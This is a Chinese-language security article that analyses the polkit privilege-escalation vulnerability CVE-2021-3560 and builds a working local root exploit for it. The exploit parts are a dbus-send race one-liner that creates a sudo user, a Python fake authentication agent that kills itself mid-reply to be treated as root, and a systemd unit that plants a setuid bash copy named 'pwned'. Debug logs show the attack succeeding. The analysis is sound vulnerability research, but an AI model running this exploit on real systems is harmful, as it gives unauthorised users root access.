
PolicyKit CVE-2021-3560是PolicyKit没有正确的处理错误,导致在发送D-Bus信息后立刻关闭程序后,PolicyKit错误的认为信息的发送者为root用户,从而通过权限检查,实现提权而产生的漏洞。漏洞的利用方式如下:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1 & sleep 0.008s ; kill $!
以上命令的作用是在发送D-Bus信息后,在一个极短的时间差后利用kill命令杀死进程,经过多次尝试条件竞争后,可以实现以一个低权限用户添加一个拥有sudo权限的用户。
根据漏洞作者的描述和利用方法可知,此漏洞成功利用需要三个组件:
Account Daemon——此服务用来添加用户;
Gnome Control Center——此服务会用org.freedesktop.policykit.imply修饰Account Daemon的方法;
PolicyKit ≥ 0.113。
其中Account Daemon和Gnomo Control Center在非桌面版的系统、Red Hat Linux等系统中并不存在,这无疑减小了漏洞的利用覆盖面。
但是通过对于此漏洞的原理深入研究,我发现漏洞利用并没有特别大的限制,仅存在PolicyKit和一些基础D-Bus服务(比如org.freedesktop.systemd1)的系统中仍然可以成功利用。
在进行研究的过程中,发现实现利用需要涉及比较多的知识点,需要深入理解此漏洞的原理及PolicyKit的相关认证机制和流程。本文章旨在将整体的研究方法尽可能详细的描述出来,如有错误请指正。
static gbooleanpolkit_system_bus_name_get_creds_sync (PolkitSystemBusName *system_bus_name,guint32 *out_uid,guint32 *out_pid,GCancellable *cancellable,GError **error){// ...g_dbus_connection_call (connection,"org.freedesktop.DBus", /* name */"/org/freedesktop/DBus", /* object path */"org.freedesktop.DBus", /* interface name */"GetConnectionUnixUser", /* method */// ...&data);g_dbus_connection_call (connection,"org.freedesktop.DBus", /* name */"/org/freedesktop/DBus", /* object path */"org.freedesktop.DBus", /* interface name */"GetConnectionUnixProcessID", /* method */// ...&data);while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))g_main_context_iteration (tmp_context, TRUE);if (out_uid)*out_uid = data.uid;if (out_pid)*out_pid = data.pid;ret = TRUE;return ret;}
static PolkitAuthorizationResult *check_authorization_sync (PolkitBackendAuthority *authority,
PolkitSubject *caller,
PolkitSubject *subject,
const gchar *action_id,
PolkitDetails *details,
PolkitCheckAuthorizationFlags flags,
PolkitImplicitAuthorization *out_implicit_authorization,
gboolean checking_imply,
GError **error)
{
// ...
user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor, subject, NULL, error);
/* special case: uid 0, root, is _always_ authorized for anything */
if (identity_is_root_user (user_of_subject)) {
result = polkit_authorization_result_new (TRUE, FALSE, NULL);
goto out;
}
// ...
if (!checking_imply) {
actions = polkit_backend_action_pool_get_all_actions (priv->action_pool, NULL);
for (l = actions; l != NULL; l = l->next) {
// ...
imply_action_id = polkit_action_description_get_action_id (imply_ad);
implied_result = check_authorization_sync (authority, caller, subject,
imply_action_id,
details, flags,
&implied_implicit_authorization, TRUE,
&implied_error);
if (implied_result != NULL) {
if (polkit_authorization_result_get_is_authorized (implied_result)) {
g_debug (" is authorized (implied by %s)", imply_action_id);
result = implied_result;
polkit_backend_session_monitor_get_user_for_subject
check_authorization_sync -> polkit_backend_session_monitor_get_user_for_subject -> return uid = 0check_authorization_sync -> check_authorization_sync -> polkit_backend_session_monitor_get_user_for_subject -> return uid = 0
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE policyconfig PUBLIC "-//freedesktop//DTD PolicyKit Policy Configuration 1.0//EN""http://www.freedesktop.org/standards/PolicyKit/1/policyconfig.dtd"><policyconfig><vendor>The systemd Project</vendor><vendor_url>http://www.freedesktop.org/wiki/Software/systemd</vendor_url><action id="org.freedesktop.systemd1.manage-unit-files"><description gettext-domain="systemd">Manage system service or unit files</description><message gettext-domain="systemd">Authentication is required to manage system service or unit files.</message><defaults><allow_any>auth_admin</allow_any><allow_inactive>auth_admin</allow_inactive><allow_active>auth_admin_keep</allow_active></defaults><annotate key="org.freedesktop.policykit.imply">org.freedesktop.systemd1.reload-daemon org.freedesktop.systemd1.manage-units</annotate></action><action id="org.freedesktop.systemd1.reload-daemon"><description gettext-domain="systemd">Reload the systemd state</description><message gettext-domain="systemd">Authentication is required to reload the systemd state.</message><defaults><allow_any>auth_admin</allow_any><allow_inactive>auth_admin</allow_inactive><allow_active>auth_admin_keep</allow_active></defaults></action></policyconfig>
polkit_system_bus_name_get_creds_sync polkit_backend_session_monitor_get_user_for_subject check_authorization_sync
static gbooleanpolkit_backend_interactive_authority_authentication_agent_response (PolkitBackendAuthority *authority,PolkitSubject *caller,uid_t uid,const gchar *cookie,PolkitIdentity *identity,GError **error){// ...identity_str = polkit_identity_to_string (identity);g_debug ("In authentication_agent_response for cookie '%s' and identity %s",cookie,identity_str);user_of_caller = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,caller, NULL,error);/* only uid 0 is allowed to invoke this method */if (!identity_is_root_user (user_of_caller)) {goto out;}// ...



import osimport dbusimport dbus.serviceimport threadingfrom gi.repository import GLibfrom dbus.mainloop.glib import DBusGMainLoopclass PolkitAuthenticationAgent(dbus.service.Object):def __init__(self):bus = dbus.SystemBus(mainloop=DBusGMainLoop())self._object_path = '/org/freedesktop/PolicyKit1/AuthenticationAgent'self._bus = buswith open("/proc/self/stat") as stat:tokens = stat.readline().split(" ")start_time = tokens[21]self._subject = ('unix-process',{'pid': dbus.types.UInt32(os.getpid()),'start-time': dbus.types.UInt64(int(start_time))})bus.exit_on_disconnect = Falsedbus.service.Object.__init__(self, bus, self._object_path)self._loop = GLib.MainLoop()self.register()print('[*] D-Bus message loop now running ...')self._loop.run()def register(self):proxy = self._bus.get_object('org.freedesktop.PolicyKit1','/org/freedesktop/PolicyKit1/Authority')authority = dbus.Interface(proxy,dbus_interface='org.freedesktop.PolicyKit1.Authority')authority.RegisterAuthenticationAgent(self._subject,"en_US.UTF-8",self._object_path)print('[+] PolicyKit authentication agent registered successfully')self._authority = authority@dbus.service.method(dbus_interface="org.freedesktop.PolicyKit1.AuthenticationAgent",in_signature="sssa{ss}saa{sa{sv}}", message_keyword='_msg')def BeginAuthentication(self, action_id, message, icon_name, details,cookie, identities, _msg):print('[*] Received authentication request')print('[*] Action ID: {}'.format(action_id))print('[*] Cookie: {}'.format(cookie))ret_message = dbus.lowlevel.MethodReturnMessage(_msg)message = dbus.lowlevel.MethodCallMessage('org.freedesktop.PolicyKit1','/org/freedesktop/PolicyKit1/Authority','org.freedesktop.PolicyKit1.Authority','AuthenticationAgentResponse2')message.append(dbus.types.UInt32(os.getuid()))message.append(cookie)message.append(identities[0])self._bus.send_message(message)def main():threading.Thread(target=PolkitAuthenticationAgent).start()if __name__ == '__main__':main()
def handler(*args):print('[*] Method response: {}'.format(str(args)))def set_timezone():print('[*] Starting SetTimezone ...')bus = dbus.SystemBus(mainloop=DBusGMainLoop())obj = bus.get_object('org.freedesktop.timedate1', '/org/freedesktop/timedate1')interface = dbus.Interface(obj, dbus_interface='org.freedesktop.timedate1')interface.SetTimezone('Asia/Shanghai', True, reply_handler=handler, error_handler=handler)def main():threading.Thread(target=PolkitAuthenticationAgent).start()time.sleep(1)threading.Thread(target=set_timezone).start()
dev@test:~$ python3 agent.py[+] PolicyKit authentication agent registered successfully[*] D-Bus message loop now running ...[*] Received authentication request[*] Action ID: org.freedesktop.timedate1.set-timezone[*] Cookie: 3-31e1bb8396c301fad7e3a40706ed6422-1-0a3c2713a55294e172b441c1dfd1577d[*] Method response: (DBusException(dbus.String('Permission denied')),)
** (polkitd:186082): DEBUG: 00:37:29.575: In authentication_agent_response for cookie '3-31e1bb8396c301fad7e3a40706ed6422-1-0a3c2713a55294e172b441c1dfd1577d' and identity unix-user:root** (polkitd:186082): DEBUG: 00:37:29.576: OUT: Only uid 0 may invoke this method.** (polkitd:186082): DEBUG: 00:37:29.576: Authentication complete, is_authenticated = 0** (polkitd:186082): DEBUG: 00:37:29.577: In check_authorization_challenge_cbsubject system-bus-name::1.6846action_id org.freedesktop.timedate1.set-timezonewas_dismissed 0authentication_success 000:37:29.577: Operator of unix-process:186211:9138723 FAILED to authenticate to gain authorization for action org.freedesktop.timedate1.set-timezone for system-bus-name::1.6846 [python3 agent.py] (owned by unix-user:dev)
self._bus.send_message(message)os.kill( os.getpid(), 9)
** (polkitd:186082): DEBUG: 01:09:17.375: In authentication_agent_response for cookie '51-20cf92ca04f0c6b029d0309dbfe699b5-1-3d3e63e4e98124979952a29a828057c7' and identity unix-user:root** (polkitd:186082): DEBUG: 01:09:17.377: OUT: RET: 1** (polkitd:186082): DEBUG: 01:09:17.377: Removing authentication agent for unix-process:189453:9329523 at name :1.6921, object path /org/freedesktop/PolicyKit1/AuthenticationAgent (disconnected from bus)01:09:17.377: Unregistered Authentication Agent for unix-process:189453:9329523 (system bus name :1.6921, object path /org/freedesktop/PolicyKit1/AuthenticationAgent, locale en_US.UTF-8) (disconnected from bus)** (polkitd:186082): DEBUG: 01:09:17.377: OUT: errorError performing authentication: GDBus.Error:org.freedesktop.DBus.Error.NoReply: Message recipient disconnected from message bus without replying (g-dbus-error-quark 4)(polkitd:186082): GLib-WARNING **: 01:09:17.379: GError set over the top of a previous GError or uninitialized memory.This indicates a bug in someone's code. You must ensure an error is NULL before it's set.The overwriting error message was: Failed to open file ?/proc/0/cmdline?: No such file or directoryError opening `/proc/0/cmdline': GDBus.Error:org.freedesktop.DBus.Error.NameHasNoOwner: Could not get UID of name ':1.6921': no such name** (polkitd:186082): DEBUG: 01:09:17.380: In check_authorization_challenge_cbsubject system-bus-name::1.6921action_id org.freedesktop.timedate1.set-timezonewas_dismissed 0authentication_success 0
static voidauthentication_agent_begin_cb (GDBusProxy *proxy, GAsyncResult *res, gpointer user_data){ error = NULL; result = g_dbus_proxy_call_finish (proxy, res, &error); if (result == NULL) { g_printerr ("Error performing authentication: %s (%s %d)\n", error->message, g_quark_to_string (error->domain), error->code); if (error->domain == POLKIT_ERROR && error->code == POLKIT_ERROR_CANCELLED) was_dismissed = TRUE; g_error_free (error); } else { g_variant_unref (result); gained_authorization = session->is_authenticated; g_debug ("Authentication complete, is_authenticated = %d", session->is_authenticated); }Finishes an operation started with g_dbus_proxy_call(). You can then call g_dbus_proxy_call_finish() to get the result of the operation.
Message recipient disconnected from message bus without replying
method call sender=:1.3174 -> destination=:1.3301 serial=6371 member=BeginAuthenticationmethod call sender=:1.3301 -> destination=:1.3174 serial=6 member=AuthenticationAgentResponse2 method return sender=:1.3301 -> destination=:1.3174 serial=7 reply_serial=6371method call sender=:1.3174 -> destination=:1.3301 serial=12514 member=BeginAuthentication method call sender=:1.3301 -> destination=:1.3174 serial=6 member=AuthenticationAgentResponse2 error sender=org.freedesktop.DBus -> destination=:1:3174 error_name=org.freedesktop.DBus.Error.NoReply
@dbus.service.method( dbus_interface="org.freedesktop.PolicyKit1.AuthenticationAgent", in_signature="sssa{ss}saa{sa{sv}}", message_keyword='_msg') def BeginAuthentication(self, action_id, message, icon_name, details, cookie, identities, _msg): print('[*] Received authentication request') print('[*] Action ID: {}'.format(action_id)) print('[*] Cookie: {}'.format(cookie)) def send(msg): self._bus.send_message(msg) ret_message = dbus.lowlevel.MethodReturnMessage(_msg) message = dbus.lowlevel.MethodCallMessage('org.freedesktop.PolicyKit1', '/org/freedesktop/PolicyKit1/Authority', 'org.freedesktop.PolicyKit1.Authority', 'AuthenticationAgentResponse2') message.append(dbus.types.UInt32(os.getuid())) message.append(cookie) message.append(identities[0]) threading.Thread(target=send, args=(message, )).start() threading.Thread(target=send, args=(ret_message, )).start() os.kill(os.getpid(), 9)
** (polkitd:192813): DEBUG: 01:42:29.925: In authentication_agent_response for cookie '3-7c19ac0c4623cf4548b91ef08584209f-1-22daebe24c317a3d64d74d2acd307468' and identity unix-user:root** (polkitd:192813): DEBUG: 01:42:29.928: OUT: RET: 1** (polkitd:192813): DEBUG: 01:42:29.928: Authentication complete, is_authenticated = 1(polkitd:192813): GLib-WARNING **: 01:42:29.934: GError set over the top of a previous GError or uninitialized memory.This indicates a bug in someone's code. You must ensure an error is NULL before it's set.The overwriting error message was: Failed to open file ?/proc/0/cmdline?: No such file or directoryError opening `/proc/0/cmdline': GDBus.Error:org.freedesktop.DBus.Error.NameHasNoOwner: Could not get UID of name ':1.7428': no such name** (polkitd:192813): DEBUG: 01:42:29.934: In check_authorization_challenge_cbsubject system-bus-name::1.7428action_id org.freedesktop.timedate1.set-timezonewas_dismissed 0authentication_success 1
$ gdbus introspect --system -d org.freedesktop.systemd1 -o /org/freedesktop/systemd1... interface org.freedesktop.systemd1.Manager { ... StartUnit(in s arg_0, in s arg_1, out o arg_2); ... EnableUnitFiles(in as arg_0, in b arg_1, in b arg_2, out b arg_3, out a(sss) arg_4); ... }...
[Unit]AllowIsolate=no[Service]ExecStart=/bin/bash -c 'cp /bin/bash /usr/local/bin/pwned; chmod +s /usr/local/bin/pwned'
def enable_unit_files():
print('[*] Starting EnableUnitFiles ...')
bus = dbus.SystemBus(mainloop=DBusGMainLoop())
\obj = bus.get_object('org.freedesktop.systemd1', '/org/freedesktop/systemd1')
interface = dbus.Interface(obj, dbus_interface='org.freedesktop.systemd1.Manager')
interface.EnableUnitFiles(['test'], True, True, reply_handler=handler, error_handler=handler)
dev@test:~$ python3 agent.py
[*] Starting EnableUnitFiles ...
[+] PolicyKit authentication agent registered successfully
[*] D-Bus message loop now running ...
[*] Method response: (DBusException(dbus.String('Interactive authentication required.')),)
static voidpolkit_backend_interactive_authority_check_authorization (PolkitBackendAuthority *authority,PolkitSubject *caller,PolkitSubject *subject,const gchar *action_id,PolkitDetails *details,PolkitCheckAuthorizationFlags flags,GCancellable *cancellable,GAsyncReadyCallback callback,gpointer user_data){// ...if (polkit_authorization_result_get_is_challenge (result) &&(flags & POLKIT_CHECK_AUTHORIZATION_FLAGS_ALLOW_USER_INTERACTION)){AuthenticationAgent *agent;agent = get_authentication_agent_for_subject (interactive_authority, subject);if (agent != NULL){g_object_unref (result);result = NULL;g_debug (" using authentication agent for challenge");authentication_agent_initiate_challenge (agent,// ...goto out;}}
这里检查了Message Flags的:
https://dbus.freedesktop.org/doc/api/html/group__DBusMessage.html#gae734e7f4079375a0256d9e7f855ec4e4
https://gitlab.freedesktop.org/RicterZ/dbus-python
PyDoc_STRVAR(Message_set_allow_interactive_authorization__doc__,
"message.set_allow_interactive_authorization(bool) -> Nonen"
"Set allow interactive authorization flag to this message.n");
static PyObject *
Message_set_allow_interactive_authorization(Message *self, PyObject *args)
{
int value;
if (!PyArg_ParseTuple(args, "i", &value)) return NULL;
if (!self->msg) return DBusPy_RaiseUnusableMessage();
dbus_message_set_allow_interactive_authorization(self->msg, value ? TRUE : FALSE);
Py_RETURN_NONE;
}
同时这项修改已经提交Merge Request了,希望之后会被合并。
def method_call_install_service(): time.sleep(0.1) print('[*] Enable systemd unit file \'{}\' ...'.format(FILENAME)) bus2 = dbus.SystemBus(mainloop=DBusGMainLoop()) message = dbus.lowlevel.MethodCallMessage(NAME, OBJECT, IFACE, 'EnableUnitFiles') message.set_allow_interactive_authorization(True) message.set_no_reply(True) message.append(['/tmp/{}'.format(FILENAME)]) message.append(True) message.append(True) bus2.send_message(message)

https://github.com/RicterZ/CVE-2021-3560-Authentication-Agenthttps://github.com/WinMin/CVE-2021-3560
https://dbus.freedesktop.org/doc/dbus-python/https://dbus.freedesktop.org/doc/api/html/group__DBusMessage.htmlhttps://libsoup.org/gio/GDBusProxy.htmlhttps://www.freedesktop.org/software/polkit/docs/latest/https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
本文作者:酒仙桥六号部队
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/181149.html
必填 您当前尚未登录。 登录? 注册
必填(保密)